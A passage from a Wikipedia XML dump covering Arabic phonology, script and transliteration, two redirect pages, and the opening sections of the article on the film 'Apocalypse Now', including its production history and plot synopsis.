Arabic has three vowels, with their long forms, plus two diphthongs: ''a'' {{IPA|[ɛ̈]}} (open ''e'' as in English ''bed'', but centralised), ''i'' {{IPA|[ɪ]}}, ''u'' {{IPA|[ʊ]}}; ''ā'' {{IPA|[æː]}}, ''ī'' {{IPA|[iː]}}, ''ū'' {{IPA|[uː]}}; ''ai'' (''ay'') {{IPA|[ɛ̈ɪ]}}, ''au'' (''aw'') {{IPA|[ɛ̈ʊ]}}. [[Allophone|Allophonically]], after velarized consonants (see following), the vowel ''a'' is pronounced {{IPA|[ɑ]}}, ''ā'' as {{IPA|[ɑː]}} (thus also after ''r''), ''ai'' as {{IPA|[ɑɪ]}} and ''au'' as {{IPA|[ɑʊ]}}.

===Consonants===

{| class=&quot;wikitable&quot; style=&quot;text-align: center;&quot;
|+ '''Standard Arabic consonant phonemes'''&lt;/CAPTION&gt;
|-
! rowspan=&quot;2&quot; COLSPAN=2 | &amp;nbsp;
! rowspan=&quot;2&quot; | [[Bilabial]]
! rowspan=&quot;2&quot; | [[Interdental|Inter-&lt;br /&gt;dental]]
! colspan=&quot;2&quot; | [[Dental]]
! rowspan=&quot;2&quot; | [[Postalveolar|Post-&lt;br&gt;alveolar]]
! rowspan=&quot;2&quot; | [[Palatal]]
! rowspan=&quot;2&quot; | [[Velar]]
! rowspan=&quot;2&quot; | [[Uvular]]
! rowspan=&quot;2&quot; | [[Pharyngeal|Pharyn-&lt;BR&gt;geal]]
! rowspan=&quot;2&quot; | [[Glottal]]
|-
! style=&quot;text-align: left; font-size: 80%;&quot; | &amp;nbsp;plain&amp;nbsp;
! style=&quot;text-align: left; font-size: 80%;&quot; | [[pharyngealization|emphatic]]
|-
! style=&quot;text-align: left;&quot; ROWSPAN=2 | [[Stop]]
! style=&quot;text-align: left; font-size: 80%;&quot; | [[Voiceless consonant|voiceless]]
| &amp;nbsp;
| &amp;nbsp; || {{IPA|t}} || {{IPA|tˁ}} || &amp;nbsp; || &amp;nbsp; || {{IPA|k}} || {{IPA|q}}
| &amp;nbsp; || {{IPA|ʔ}}
|-
! style=&quot;text-align: left; font-size: 80%;&quot; | [[Voiced consonant|voiced]]
| {{IPA|b}} || &amp;nbsp; || {{IPA|d}} || {{IPA|dˁ}} || {{IPA|dʒ}}&amp;sup1; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp;
| &amp;nbsp; || &amp;nbsp;
|-
! style=&quot;text-align: left;&quot; ROWSPAN=2 | [[Fricative]]
! style=&quot;text-align: left; font-size: 80%;&quot; | [[Voiceless consonant|voiceless]]
| {{IPA|f}}
| {{IPA|θ}} || {{IPA|s}} || {{IPA|sˁ}} || {{IPA|ʃ}} || &amp;nbsp; || {{IPA|x}} || &amp;nbsp; || {{IPA|ħ}} || {{IPA|h}}
|-
! style=&quot;text-align: left; font-size: 80%;&quot; | [[Voiced consonant|voiced]]
| &amp;nbsp; || {{IPA|ð}} || {{IPA|z}} || {{IPA|ðˁ}} || &amp;nbsp; || &amp;nbsp; || {{IPA|ɣ}} || &amp;nbsp;
| {{IPA|ʕ}} || &amp;nbsp;
|-
! style=&quot;text-align: left;&quot; COLSPAN=2 | [[Nasal]] 
| {{IPA|m}} || &amp;nbsp; || {{IPA|n}} || &amp;nbsp;
| &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp;
| rowspan=&quot;2&quot; | &amp;nbsp;
| rowspan=&quot;2&quot; | &amp;nbsp;
|-
! style=&quot;text-align: left;&quot; COLSPAN=2 |  [[Lateral]] 
| &amp;nbsp; || &amp;nbsp;
| {{IPA|l}} ² || &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp;
|-
! style=&quot;text-align: left;&quot; COLSPAN=2 | [[Trill]] 
| &amp;nbsp;
| &amp;nbsp; || {{IPA|r}} || &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || &amp;nbsp;
| &amp;nbsp;
|-
! style=&quot;text-align: left;&quot; COLSPAN=2 | [[Approximant]]
| {{IPA|w}} || &amp;nbsp;
| &amp;nbsp; || &amp;nbsp; || &amp;nbsp; || {{IPA|j}} || &amp;nbsp; || &amp;nbsp;
| &amp;nbsp; || &amp;nbsp;
|}

See [[Arabic alphabet]] for explanations on the [[International Phonetic Alphabet|IPA]] phonetic symbols found in this chart.

# {{IPA|[dʒ]}} is pronounced as {{IPA|[ɡ]}} by some speakers. This is especially characteristic of the Egyptian and southern Yemeni dialects. In many parts of North Africa and in the Levant, it is pronounced as {{IPA|[ʒ]}}.
# {{IPA|/l/}} is pronounced {{IPA|[lˁ]}} only in {{IPA|/ʔalˁːɑːh/}}, the name of God, i.e. [[Allah]], when the word follows ''a'', ''ā'', ''u'' or ''ū'' (after ''i'' or ''ī'' it is unvelarised: ''bismi l-lāh'' {{IPA|/bɪsmɪlːæːh/}}).
# {{IPA|/ʕ/}} is usually a phonetic [[approximant]].
# In many varieties (if not most), {{IPA|/ħ, ʕ/}} are actually [[epiglottal]] {{IPA|[ʜ, ʢ]}} (despite what is reported in many earlier works).

The consonants traditionally termed &quot;emphatic&quot; {{IPA|/tˁ, dˁ, sˁ, ðˁ/}} are either [[velarization|velarised]] {{IPA|[tˠ, dˠ, sˠ, ðˠ]}} or [[pharyngealization|pharyngealised]] {{IPA|[tˁ, dˁ, sˁ, ðˁ]}}.  In some transcription systems, emphasis is shown by capitalizing the letter e.g. {{IPA|/dˁ/}}  is written ‹D›; in others the letter is underlined or has a dot below it e.g. ‹ḍ›.

Vowels and consonants can be (phonologically) short or long.  Long (geminate) consonants are normally written doubled in Latin transcription (i.e. bb, dd, etc.), reflecting the presence of the Arabic diacritic mark [[shaddah]], which marks lengthened consonants.  Such consonants are held twice as long as short consonants.  This consonant lengthening is phonemically contrastive: e.g.  ''qabala'' &quot;he received&quot; and  ''qabbala'' &quot;he kissed&quot;.

===Syllable structure===
Arabic has two kinds of syllable: open syllables (CV) and (CVV) - and closed syllables (CVC), (CVVC) and (CVCC).  Every syllable begins with a consonant - or else a consonant is borrowed from a previous word through elision – especially in the case of the definite article THE, ''al'' (used when starting an utterance) or ''_l'' (when following a word), e.g. ''baytu –l mudiir'' “house (of) the director”, which becomes ''bay-tul-mu-diir'' when divided syllabically.  By itself, definite ''mudiir'' would be pronounced {{IPA|/al mudiːr/}}.

===Stress===
Although word stress is not phonemically contrastive in Standard Arabic, it does bear a strong relationship to vowel length and syllable shape, and correct word stress aids intelligibility.  In general, &quot;heavy&quot; syllables attract stress (i.e. syllables of longer duration - a closed syllable or a syllable with a long vowel).  In a word with a syllable with one long vowel, the long vowel attracts the stress (e.g. ''ki-'taab'' and ''  ‘kaa-tib'').  In a word with two long vowels, the second long vowel attracts stress (e.g.''ma-kaa-'tiib''). In a word with a &quot;heavy&quot; syllable where two consonants occur together or the same consonant is doubled, the (last) heavy syllable attracts stress (e.g. ''ya-ma-’niyy'', ''ka-'tabt'', ''ka-‘tab-na'', ma-‘jal-lah,'' ‘mad-ra-sah'', ''yur-‘sil-na'').  This last rule trumps the first two: ''ja-zaa-{{unicode|ʔ}}i-‘riyy''.  Otherwise, word stress typically falls on the first syllable: '' ‘ya-man'', ''  ‘ka-ta-bat'', etc.  The Cairo ([[Egyptian Arabic]]) dialect, however, has some idiosyncrasies in that a heavy syllable may not carry stress more than two syllables from the end of a word, so that ''mad-‘ra-sah'' carries the stress on the second-to-last syllable, as does ''qaa-‘hi-rah''.

===Dialectal variations===
In some dialects, there may be more or fewer phonemes than those listed in the chart above.  For example, non-Arabic {{IPA|[v]}} is used in the Maghreb dialects as well in the written language mostly for foreign names.  Semitic {{IPA|[p]}} became {{IPA|[f]}} extremely early on in Arabic before it was written down; a few modern Arabic dialects, such as Iraqi (influenced by [[Persian language|Persian]]) distinguish between {{IPA|[p]}} and {{IPA|[b]}}.  Interdental fricatives ({{IPA|[θ]}} and {{IPA|[ð]}}) are rendered as stops {{IPA|[t]}} and {{IPA|[d]}} in some dialects (principally Levantine and Egyptian) and as {{IPA|[s]}} and {{IPA|[z]}} in &quot;learned&quot; words from the Standard language.  Early in the expansion of Arabic, the separate emphatic phonemes {{IPA|[dˁ]}} and {{IPA|[ðˁ]}} coallesced into a single phoneme, becoming one or the other.  Predictably, dialects without interdental fricatives use {{IPA|[dˁ]}} exclusively, while those with such fricatives use {{IPA|[ðˁ]}}.  Again, in &quot;learned&quot; words from the Standard language, {{IPA|[ðˁ]}} is rendered as {{IPA|[zˁ]}} in dialects without interdental fricatives.  Another key distinguishing mark of Arabic dialects is how they render Standard {{IPA|[q]}} (a voiceless uvular stop): it retains its original pronunciation in widely scattered regions such as Yemen and Morocco (and among the [[Druze]]), while it is rendered {{IPA|[ɡ]}} in Gulf Arabic, Iraqi Arabic, Upper Egypt and less urban parts of the Levant (e.g. Jordan) and as a [[glottal stop]] {{IPA|[ʔ]}} in many prestige dialects, such as those spoken in Cairo, Beirut and Damascus.  Thus, Arabs instantly give away their geographical (and class) origin by their pronunciation of a word such as ''qamar'' &quot;moon&quot;:  {{IPA|[qamar]}}, {{IPA|[ɡamar]}} or {{IPA|[ʔamar]}}.

== Grammar ==
''See [[Arabic grammar]]''


== Writing system ==
''Main article: [[Arabic alphabet]]''

The Arabic alphabet derives from the [[Aramaic alphabet|Aramaic]] script (which variety - [[Nabataean]] or [[Syriac]] - is a matter of scholarly dispute), to which it bears a loose resemblance like that of [[Coptic alphabet|Coptic]] or [[Cyrillic alphabet|Cyrillic script]] to [[Greek alphabet|Greek script]]. Traditionally, there were several differences between the Western (Maghrebi) and Eastern version of the alphabet&amp;mdash;in particular, the ''fa'' and ''qaf'' had a dot underneath and a single dot above respectively in the [[Maghreb]], and the order of the letters was slightly different (at least when they were used as numerals). However, the old Maghrebi variant has been abandoned except for calligraphic purposes in the Maghreb itself, and remains in use mainly in the Quranic schools ([[zaouia]]s) of West Africa. Arabic, like other [[Semitic]] languages, is written from right to left.

===Calligraphy===

''See [[Arabic calligraphy]] for a fuller overview.''

After the definitive fixing of the Arabic script around [[786]], by [[Khalil ibn Ahmad al Farahidi]], many styles were developed, both for the writing down of the Qur'an and other books, and for inscriptions on monuments as decoration.

&lt;center&gt;&lt;!-- Unsourced image removed: [[Image:Kufi.png|Kufic font]] --&gt;&lt;/center&gt;

Arabic calligraphy has not fallen out of use as in the Western world, and is still considered by Arabs as a major art form; calligraphers are held in great esteem. Being cursive by nature, unlike the [[Latin alphabet]], Arabic script is used to write down a [[ayah|verse]] of the Qur'an, a [[Hadith]], or simply a [[proverb]], in a spectacular composition. The composition is often abstract, but sometimes the writing is shaped into an actual form such as that of an animal. Two of the current masters of the genre are [[Hassan Massoudy]] and [http://arabworld.nitle.org/gallery.php?module_id=7 Khaled Al Saa’i].

===Transliteration===

''See [[Arabic transliteration]] and [[Arabic Chat Alphabet]] for more information.''

There are a number of different standards of [[Arabic transliteration]]: methods of accurately and efficiently representing Arabic with the [[Latin alphabet]]. The more scientific standards allow the reader to recreate the exact word using the [[Arabic alphabet]]. However, these systems are heavily reliant on [[diacritic]]al marks such as &quot;š&quot; for the English ''sh'' sound.  At first sight, this may be difficult to recognize.  Less scientific, systems often use [[Digraph (orthography)|digraph]]s (like ''sh'' and ''kh''), which are usually more simple to read, but sacrifice the definiteness of the scientific systems.  In some cases, the ''sh'' or ''kh'' sounds can be represented by italicizing or underlining them -- that way, they can be distinguished from separate ''s'' and ''h'' sounds or ''k'' and ''h'' sounds, respectively.  (Compare ''gashouse'' to ''gash''.)

During the last few decades and especially since the 1990s, Western-invented text communication technologies have become prevalent in the [[Arab world]], such as [[personal computers]], the [[World Wide Web]], [[email]], [[Bulletin board system]]s, [[IRC]], [[instant messaging]] and [[mobile phone text messaging]]. Most of these technologies originally had the ability to communicate using the [[Latin alphabet]] only, and some of them still do not have the [[Arabic alphabet]] as an optional feature. As a result, Arabic speaking users communicated in these technologies by transliterating the Arabic text using the Latin script, sometime known as [[IM_Arabic]].

To handle those Arabic letters that cannot be accurately represented using the Latin script, numerals and other characters were appropriated. For example, the numeral &quot;3&quot; may be used to represent the Arabic letter &quot;ع&quot;, ''ayn''. There is no universal name for this type of transliteration, but some have named it [[Arabic Chat Alphabet]].  Other systems of transliteration exist, such as using dots or capitalization to represent the &quot;emphatic&quot; counterparts of certain consonants.  For instance, using capitalization, the letter &quot;د&quot;, or ''daal'', may be represented by '''d'''.  Its emphatic counterpart, &quot;ض&quot;, may be written as '''D'''.

==Literature==
Kees Versteegh, ''The Arabic Language'', Edinburgh University Press (1997). [http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=36] [http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=17] [http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=35] [http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=113] 

== See also ==
*[[Varieties of Arabic]]
*[[Wikibooks:en:Arabic|Learn Standard Arabic WikiBook]]
*[[Arabist]]
*[[Arabic literature]]
*[[List of common phrases in various languages]]
*[[Dictionary of Modern Written Arabic]]

== External links ==
{{InterWiki|code=ar}}
*[http://ar.openoffice.org/ Arabic OpenOffice] a multiplatform and multilingual office suite. 
*[http://arabic-media.com/ Arabic-Media] on-line access to Arabic newspapers, radio, and television
* [http://www.nicoweb.com/sirpus/learn%20arabic%20course%20mp3.htm Arabic Writing and Reading '''with MP3''']. Arabic Writing and Reading Course Online with MP3 audio.
*[http://pince31.free.fr/lang/arabic/liens.htm Links to learn Arabic language with online course]
*[http://www.madinaharabic.com Arabic language learning course with audio]
*[http://www.dailystar.com.lb/article.asp?edition_id=10&amp;categ_id=4&amp;article_id=6173 &quot;Antonyms in Arabic are a strange phenomenon&quot; by Tamim al-Barghouti]
*[http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=17 &quot;The Development of Classical Arabic&quot; by Kees Versteegh]
*[http://arabworld.nitle.org/audiovisual.php?module_id=1&amp;selected_feed=118 Wellesley College Professor of Arabic on the forms and dialects of the language]
*[http://www.uga.edu/islam/arabic_windows.html Multilingual Computing in Arabic with Windows, major word processors, web browsers, Arabic keyboards, and Arabic transliteration fonts]
*[http://www.gomideast.com/arabic/index.htm gomideast - Learning to Speak Arabic phrases]
*[http://language-directory.50webs.com/languages/arabic.htm List of online Arabic-related resources]
*[http://acon.baykal.be/ ACON: online Arabic Verb Conjugator]
*[http://www.cacac.org Center for Arabic Culture (CAC)]
*[http://st-takla.org/Learn_Languages/01_Learn_Arabic-ta3leem-3araby/Learn-Arabic_00-index_El-Fehres.html Learn Arabic language online with audio pronunciation] from [http://St-Takla.org St. Takla Egyptian Church]
*[http://www.tanzeelnet.com Arabic-translated program descriptions]

Web references and examples:
* [http://transliteration.org/quran/Pronunciation/Letters/TashP.htm Arabic language pronunciation applet] with audio samples
* [http://afl.ajeeb.com/freetour/lesson1/song/song1.html Learn Arabic]
* [http://www.everything2.com/index.pl?node_id=1289272 E2 article]
* [http://www.sprachprofi.de.vu/english/ar.htm Sprachprofi]
* [http://www.websters-online-dictionary.org/definition/Arabic-english/ Arabic - English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
* [http://www.ethnologue.com/show_language.asp?code=arb SIL's Ethnologue]
* [http://www.nitle.org/arabworld/texts.php?module_id=1&amp;reading_id=113 Dialects of Arabic]
* [http://www.muftah-alhuruf.com Muftah-Alhuruf.com]: Write and send Arabic emails without having an Arabic keyboard or operating system.
* [http://dictionary.sakhr.com/ Number of Arabic Words According to different dictionaries] Over 4 millions words!

Arabic languages samples:
* [http://www.language-museum.com/a/arabic.php Arabic]
* [http://www.language-museum.com/a/arabic-chadian-spoken.php Arabic Chadian Spoken]
* [http://www.language-museum.com/a/arabic-judeo-iraqi.php Arabic Judeo Iraqi]
* [http://www.language-museum.com/a/arabic-north-levantine-spoken.php Arabic North Levantine Spoken]
* [http://www.dicodialna.com Algerian-Arabic Dictionary]


[[Category:Arabic language|*]]
[[Category:Arab]]

[[af:Arabies]]
[[ang:Arabisc sprǣc]]
[[ar:لغة عربية]]
[[ast:Idioma Árabe]]
[[bg:Арабски език]]
[[bs:Arapski jezik]]
[[ca:Llengua àrab]]
[[cs:Arabština]]
[[cy:Arabeg]]
[[da:Arabisk]]
[[de:Arabische Sprache]]
[[et:Araabia keel]]
[[el:Αραβική γλώσσα]]
[[es:Idioma árabe]]
[[eo:Araba lingvo]]
[[fa:عربی]]
[[fr:Arabe]]
[[fy:Arabysk]]
[[ga:Araibis]]
[[gl:Lingua árabe]]
[[ko:아랍어]]
[[haw:ʻŌlelo ʻAlapia]]
[[hi:अरबी भाषा]]
[[io:Arabiana linguo]]
[[id:Bahasa Arab]]
[[is:Arabíska]]
[[it:Lingua araba]]
[[he:ערבית]]
[[ka:არაბული ენა]]
[[kw:Arabek]]
[[sw:Kiarabu]]
[[la:Lingua Arabica]]
[[lv:Arābu valoda]]
[[lt:Arabų kalba]]
[[li:Arabisch]]
[[hu:Arab nyelv]]
[[mk:Арапски јазик]]
[[ms:Bahasa Arab]]
[[nl:Arabisch]]
[[nds:Araabsche Spraak]]
[[ja:アラビア語]]
[[no:Arabisk språk]]
[[nn:Arabisk språk]]
[[pl:Język arabski]]
[[pt:Língua árabe]]
[[ro:Limba arabă]]
[[ru:Арабский язык]]
[[simple:Arabic language]]
[[sk:Arabčina]]
[[sl:Arabščina]]
[[sr:Арапски језик]]
[[fi:Arabian kieli]]
[[sv:Arabiska]]
[[tl:Wikang Arabo]]
[[tt:Ğäräp tele]]
[[th:ภาษาอาหรับ]]
[[tr:Arapça]]
[[zh:阿拉伯语]]
[[kn:ಅರಬ್ಬೀ ಭಾಷೆ]]</text>
    </revision>
  </page>
  <page>
    <title>Aztecs</title>
    <id>804</id>
    <revision>
      <id>15899318</id>
      <timestamp>2005-06-13T21:08:10Z</timestamp>
      <contributor>
        <username>Hajor</username>
        <id>23076</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Aztec]]</comment>
      <text xml:space="preserve">#REDIRECT [[Aztec]]</text>
    </revision>
  </page>
  <page>
    <title>Amir</title>
    <id>805</id>
    <revision>
      <id>15899319</id>
      <timestamp>2003-02-02T21:17:03Z</timestamp>
      <contributor>
        <username>Vera Cruz</username>
        <id>5753</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Emir]]</text>
    </revision>
  </page>
  <page>
    <title>Apocalypse Now</title>
    <id>806</id>
    <revision>
      <id>41826845</id>
      <timestamp>2006-03-02T00:19:12Z</timestamp>
      <contributor>
        <ip>68.110.117.88</ip>
      </contributor>
      <comment>/* Music */</comment>
      <text xml:space="preserve">{{Infobox Film  |
  name     = Apocalypse Now |
  image          = Apocalypse-now-dvd-cover.jpg |
  imdb_id       = 0078788 |
  producer         = [[Francis Ford Coppola]] |
  director       = [[Francis Ford Coppola]] |
  writer         = [[Joseph Conrad]] (novel)&lt;br&gt;[[John Milius]] &amp; [[Francis Ford Coppola]] (screenplay), [[Michael Herr]] (narration) |
  starring       = [[Martin Sheen]]&lt;br&gt;[[Marlon Brando]]&lt;br&gt;[[Robert Duvall]] |
  music         = [[Carmine Coppola]] &amp; [[Francis Ford Coppola]] |
cinematography = [[Vittorio Storaro]] |
  editing         = [[Lisa Fruchtman]]&lt;br&gt;[[Gerald B. Greenberg]] &lt;br&gt;[[Walter Murch]] |
  distributor    = [[United Artists]]  |
  released   = [[May 10]], [[1979]] |
  runtime        = 153 min.&lt;br/&gt;202 min. (Redux) |
language = [[English language|English]] |
  budget         = $31,500,000|
}}

'''''Apocalypse Now''''' is a [[1979 in film|1979]] [[United States|American]] [[film]] directed by [[Francis Ford Coppola]] from a script by [[John Milius]] (rewritten by Coppola) which was inspired by [[Joseph Conrad]]'s classic [[novella]] ''[[Heart of Darkness]]''. Set during the [[Vietnam War]], the film tells the story of a taciturn American soldier who is sent to &quot;terminate with extreme prejudice&quot; the command of a rogue [[United States Army Special Forces]] [[colonel]]. The narrative of his journey and its culmination are studded with events which, while bizarre, are based on real Vietnam stories. The soldier's journey becomes increasingly nonlinear and hallucinatory. Coppola's agenda clearly involves larger themes; the film's subtext concerns a journey into the darkness of the human [[psyche]].

The film features performances by [[Martin Sheen]] as Captain Benjamin L. Willard (Marlow in Conrad's novel), [[Marlon Brando]] as Colonel Walter E. Kurtz, [[Dennis Hopper]] as a fast-talking [[Psychedelics, dissociatives and deliriants|hallucinogen]]-using photojournalist, and [[Robert Duvall]] in an [[Academy Award|Oscar]]-nominated turn as the borderline-[[psychosis|psychotic]] [[Lt. Colonel]] Kilgore. Several other actors who were (or later became) prominent stars had minor or supporting roles in the movie including [[Harrison Ford]], [[R. Lee Ermey]] and [[Laurence Fishburne]] (who, only fourteen years old when shooting began in March 1976, was credited as 'Larry Fishburne').

The movie poster art for ''Apocalypse Now'' is one of the more famous paintings by [[Bob Peak]], who is considered an influential artist in the world of film when it comes to [[movie poster]]s.

==Background==
Filmed in the [[Philippines]] (most notably the [[Pagsanjan River]] and [[Hidden Valley Springs]]), the film went far over budget and schedule: a [[typhoon]] destroyed many of the sets, the Philippine Air Force helicopters used for shooting were constantly called back by President [[Ferdinand Marcos]] to be used in actual combat, the lead role was recast (Martin Sheen replaced [[Harvey Keitel]] after shooting had begun), Sheen then had a near-fatal [[Myocardial infarction|heart attack]], Brando was intractable and out of shape, and Coppola himself was mentally fragile. Being similar in appearance and remarkably similar in voice, Martin Sheen's brother [[Joe Estevez]] [[Stand-in|stood in]] for the unwell Sheen in much of the film and some of the narration is by him.

After the first edit, the film was six hours long and had to be severely edited; the original released version was just over two and a half hours long. (Coppola re-released the film in [[2001]] under the title ''Apocalypse Now Redux'', restoring footage and sequences and lifting the running time to 200 minutes. Recent rumors have persisted that Coppola is considering releasing the true original cut on DVD, but there has been no fruition or conformation of this.)  For background information on the film, see [[Eleanor Coppola]]'s documentary, ''[[Hearts of Darkness: A Filmmaker's Apocalypse]]'', released in [[1991]].

==Synopsis==
{{spoiler}}

U.S. Army Captain Benjamin L. Willard is stationed in [[Saigon]]; a seasoned veteran, he is deeply troubled and apparently no longer fit for civilian life. A group of [[Military intelligence|intelligence]] officers approach him with a special mission up-river into the remote [[Cambodia|Cambodian]] jungle to find Colonel Walter E. Kurtz, a former member of the [[United States Army Special Forces]]. 

They state that Kurtz, once considered a model officer and future [[general]], has apparently gone [[insane]] and is commanding a legion of his own [[Degar|Montagnard]] troops deep in [[Neutral country|neutral]] Cambodia. Their claims are supported by very disturbing radio broadcasts and/or recordings made by Kurtz himself. Willard is asked to undertake a mission to find Kurtz and dispose of him &quot;with extreme prejudice.&quot; 

Willard studies the intelligence files during the boat ride to the river entrance and learns that Kurtz, isolated in his compound, has assumed the role of a warlord and is worshipped by the natives and his own loyal men. Another officer, sent earlier to kill Kurtz, has apparently become one of his lieutenants.

Willard will begin his trip up the [[Mekong River]] on a PBR ([[Patrol boat, rigid|Patrol Boat, River]]), with an eclectic crew composed of by-the-book and formal [[Chief Petty Officer|Chief]] Phillips, a black Navy boat commander; [[Petty Officer Third Class|GM3]] Lance B. Johnson, a tanned all-American [[California]] surfer; [[Petty Officer Third Class|GM3]] Tyrone, AKA &quot;Clean&quot;, a black 17-year-old from [[The Bronx]]; and the [[Cajun]] Engineman, Jay &quot;Chef&quot; Hicks. 

[[Image:Apocalype Now Huey.jpg|thumbnail|The village attack scene in ''Apocalypse Now''.]]

The PBR arrives at a [[Landing Zone]] where Willard and the crew meet up with [[Lt. Colonel]] [[Bill Kilgore]], the merciless commander of the [[air cavalry|AirCav]] in the region, following a massive and hectic mopping-up operation of a conquered enemy town. Kilgore, a keen surfer, befriends Johnson. Later, he learns from one of his men that the beach down the coast which marks the opening to the river is perfect for [[surfing]], a factor which persuades him to capture it. The problem is, his troops say, it's &quot;[[Viet Cong|Charlie]]'s point&quot; and heavily fortified. Dismissing this complaint with the explanation that &quot;Charlie don't surf!&quot;, Kilgore orders his men to saddle up in the morning so that the AirCav can capture the town and the beach. Riding high above the coast in a fleet of [[UH-1 Iroquois|Huey]]s accompanied by [[Hughes H-6|H-6]]s, Kilgore launches an attack on the beach. The scene, famous for its use of [[Richard Wagner]]'s epic &quot;[[Ride of the Valkyries]]&quot;, ends with the soldiers surfing the barely claimed beach amidst skirmishes between infantry and VC.  After helicopters swoop over the village and demolish all visible signs of resistance, a giant [[napalm]] strike in the nearby jungle dramatically marks the [[climax (narrative)|climax]] of the battle.  &quot;I love the smell of [[napalm]] in the morning; smells like...victory,&quot; Kilgore exults to Willard.  The quote made it to #12 onto the [[American Film Institute]]'s [[AFI's 100 Years... 100 Movie Quotes]], a list of top movie quotes.

[[Image:Apocalypse_Now_Smell_Like_Victory.jpg|thumbnail|&quot;I love the smell of napalm in the morning...It smells like...victory.&quot;]]

The lighting and mood darken as the boat navigates upstream and Willard's silent obsession with Kurtz deepens.  Episodes on the journey include a run-in with a [[tiger]] while Willard and Chef search for [[mango]] fruits, an impromptu inspection of a Vietnamese [[sampan]] that leads to massacre, a surreal stop at the last American outpost during a Vietnamese attack against a wood bridge under construction there, and the shocking deaths of both &quot;Clean&quot; and Chief Phillips during a gunfire ambush with hidden Viet Cong soldiers and a spear thrown by a native on the shore, respectively.

Once arrived at Kurtz's compound, Willard leaves Chef behind with orders to call in an [[air strike]] on the village if he does not return. They are met by a borderline-psychotic freelance photographer (Hopper) who explains Kurtz's greatness and [[philosophy|philosophic]] skills to provoke his people into following him. Brought before Kurtz and held in captivity in a darkened temple, Willard’s constitution appears to weaken as Kurtz lectures him on his theories of war, [[humanity]], and [[civilization]]. Kurtz explains his motives and philisophy in a famous and haunting monolgue: 

'' I've seen horrors... horrors that you've seen. But you have no right to call me a murderer. You have a right to kill me. You have a right to do that... but you have no right to judge me. It's impossible for words to describe what is necessary to those who do not know what horror means. Horror. Horror has a face... and you must make a friend of horror. Horror and moral terror are your friends. If they are not then they are enemies to be feared. They are truly enemies. I remember when I was with Special Forces. Seems a thousand centuries ago. We went into a camp to inoculate the children. We left the camp after we had inoculated the children for Polio, and this old man came running after us and he was crying. He couldn't see. We went back there and they had come and hacked off every inoculated arm. There they were in a pile. A pile of little arms. And I remember... I... I... I cried. I wept like some grandmother. I wanted to tear my teeth out. I didn't know what I wanted to do. And I want to remember it. I never want to forget it. I never want to forget. 

''And then I realized... like I was shot... like I was shot with a diamond... a diamond bullet right through my forehead. And I thought: My God... the genius of that. The genius. The will to do that. Perfect, genuine, complete, crystalline, pure. And then I realized they were stronger than we. Because they could stand that these were not monsters. These were men... trained cadres. These men who fought with their hearts, who had families, who had children, who were filled with love... but they had the strength... the strength... to do that. If I had ten divisions of those men our troubles here would be over very quickly. You have to have men who are moral... and at the same time who are able to utilize their primordial instincts to kill without feeling... without passion... without judgment... without judgment.'' '''Because it's judgment that defeats us'''.''

While bound outside in the pouring rain, Willard is approached by Kurtz, who places the severed head of Chef in his lap. Coppola makes little explicit, but we come to believe that Willard and Kurtz develop an understanding nonetheless; Kurtz wishes to die at Willard's hands, and Willard, having subsequently granted Kurtz his wish, is offered the chance to succeed him in his warlord-[[demigod]] role. Juxtaposed with a ceremonial slaughtering of a [[water buffalo]], Willard enters Kurtz's chamber during one of his message recordings, and kills him with a machete (This entire sequence is set to [[The End (The Doors song)|The End]] by [[The Doors]]). Lying bloody and dying on the ground, Kurtz whispers &quot;The horror...the horror.&quot; (This line is taken directly from Conrad's novella.) Willard walks through the now-silent crowd of natives until he comes upon Lance, who seems to have integrated himself into the society. The two of them make their way to the PBR and float away as Kurtz's final words echo in the wind as the screen fades to black. 

===''Redux''===
In 2001 Coppola released ''Apocalypse Now: Redux'', which restored 49 minutes of scenes that were cut from the original film, including stopovers at a [[French people|French]] [[rubber]] plantation wherein Mr. Clean is buried and a rain-soaked American base camp.  Nudity absent from the original was also included in the Redux, most notably at the French plantation and in an additional scene with the Playboy playmates (from the [[United Service Organizations|USO]] show.)

In this version, Willard steals Kilgore's surfboard, which can still be seen briefly onboard the PBR in the original cut.

===Alternate Endings===
Coppola denied having any actual alternative endings. In the [[DVD]] commentary, he states that they simply had a massive amount of footage to edit with and thus had some choices to make. They did consider using the explosion footage made during their destruction of the Kurtz compound, but he later decided that implying that the air strike had been called in was contrary to his wish to offer some slight hope that we could overcome the horrors of [[war]].

However, there are multiple slightly varying versions of the ending credits.

One version, from the 70mm release, ends with no credits, and shows the boat pulling away. Another version, for the 35mm wide release, rolls the credits while the Kurtz compound is destroyed in what must be assumed was an air strike. Yet another version ends silently, without the explosions, and the credits roll over a black background.

==Themes==
''Apocalypse Now'' is a thematically rich film. The primary motif of the film is that of ''[[Heart of Darkness]]'', i.e. an odyssey into the darkness of humanity. 

Willard's constant narration gives us a glimpse into his fractured psychological state particularly in the opening scenes where he lies in his bed and stares blankly into the ceiling. He relates that he is on his second tour of duty and that he returned because he was unable to re-integrate himself into civilian life. 

:''Saigon... shit; I'm still only in Saigon... Every time I think I'm gonna wake up back in the jungle. When I was home after my first tour, it was worse. I'd wake up and there'd be nothing. I hardly said a word to my wife, until I said &quot;yes&quot; to a divorce. When I was here, I wanted to be there; when I was there, all I could think of was getting back into the jungle. I'm here a week now... waiting for a mission... getting softer; every minute I stay in this room, I get weaker, and every minute Charlie squats in the bush, he gets stronger. Each time I looked around, the walls moved in a little tighter.''

